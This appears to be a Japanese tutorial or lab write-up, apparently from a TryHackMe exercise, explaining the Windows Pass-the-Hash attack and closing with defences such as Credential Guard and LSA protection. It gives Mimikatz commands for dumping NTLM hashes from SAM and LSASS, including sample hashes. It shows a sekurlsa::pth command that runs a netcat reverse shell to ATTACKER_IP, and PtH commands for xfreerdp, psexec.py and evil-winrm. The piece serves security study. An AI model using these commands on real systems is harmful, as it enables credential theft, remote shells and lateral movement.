はじめに
Windowsネットワークのセキュリティを考える上で、避けて通れないのがPass-the-Hash (PtH) という攻撃手法です。通常、システムにログインするには「パスワード(平文)」が必要ですが、PtHを使えば 「ハッシュ化されたパスワード」 を知っているだけで、本人として認証をパスできてしまいます。
本記事では、PtHの仕組みから、実際のツール(Mimikatz等)を使ったハッシュの抽出・利用方法までを解説します。
1. Pass-the-Hash (PtH) とは?
通常、WindowsのNTLM認証プロセスでは、サーバーから送られてくる「チャレンジ」に対して、クライアントが「パスワードハッシュ」を使って応答を作成します。
このプロセスにおいて、サーバーは平文のパスワードを要求しません。 つまり、攻撃者が何らかの方法でシステムのメモリやデータベースからNTLMハッシュを盗み出すことができれば、パスワードを解析(クラッキング)して平文に戻す手間をかけずに、そのまま認証に使用できるのです。
2. NTLMハッシュの抽出方法
PtHを実行するには、まず標的となるホストで管理者権限を奪取し、ハッシュを抽出する必要があります。主に2つの手法があります。
A. ローカルSAMデータベースからの抽出
マシンのローカルユーザーのハッシュを取得します(ドメインユーザーは含まれません)。
使用コマンド (Mimikatz):
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam
Domain : THMJMP2
SysKey : 2e27b23479e1fb1161a839f9800119eb
Local SID : S-1-5-21-1946626518-647761240-1897539217
SAMKey : 9a74a253f756d6b012b7ee3d0436f77a
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 0b2571be7e75e3dbd169ca5352a2dad7
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
-
結果:
AdministratorなどのローカルアカウントのNTLMハッシュが取得できます。
B. LSASSメモリからの抽出
現在、または最近そのマシンにログインしたドメインユーザーやローカルユーザーのハッシュを取得できます。
使用コマンド (Mimikatz):
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 664042 (00000000:000a21ea)
Session : RemoteInteractive from 4
User Name : t1_toby.beck1
Domain : ZA
Logon Server : THMDC
Logon Time : 4/7/2026 8:45:29 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4616
msv :
[00000003] Primary
* Username : t1_toby.beck1
* Domain : ZA
* NTLM : 533f1bd576caa912bdb9da284bbc60fe
* SHA1 : 8a65216442debb62a3258eea4fbcbadea40ccc38
* DPAPI : 489fed8eeb5acc4ffb205663491b62d3
- メリット: ドメイン管理者などが過去にログインしていれば、その強力な権限を持つハッシュを奪取できる可能性があります。
3. Mimikatzを用いたPtHの実行
ハッシュが手に入ったら、それを使って新しいプロセスを立ち上げます。
手順:
- 権限を元に戻す(昇格したトークンのままだとPtHが失敗するため)。
-
sekurlsa::pthコマンドで、ハッシュを指定してコマンドを実行する。
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
[!IMPORTANT] 注意点: > この操作で立ち上がったシェルで
whoamiを実行しても、表示上のユーザー名は元のままです。しかし、ネットワーク経由で他のリソースにアクセスする際は、注入したハッシュ(例:bob.jenkins)の権限が適用されます。
4. Linux環境からのPtH
攻撃端末がLinux(Kali Linux等)の場合、ハッシュをそのまま引数として渡せる便利なツールが多数存在します。
RDP (リモートデスクトップ) で接続
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
PsExec (コマンド実行) で接続
Impacketスイートの psexec.py を使用します。
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
WinRM (Windowsリモート管理) で接続
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
まとめと対策
Pass-the-Hashは、一度管理者権限を奪われるとネットワーク全体に被害が拡大(横展開/Lateral Movement)する恐れがある非常に強力な手法です。
防御側の対策:
- 特権アカウントの制限: 管理者アカウントで一般端末にログインしない。
- LSAプロテクションの有効化: LSASSプロセスへの不正アクセスを防止する。
- Windows Defender Credential Guard: 仮想化ベースのセキュリティでシークレットを保護する。
- NTLMの無効化: 可能であれば、より安全なKerberos認証への移行を検討する。
セキュリティ担当者は、これらの攻撃手法を理解し、ログの監視や適切な権限分離を行うことが重要です。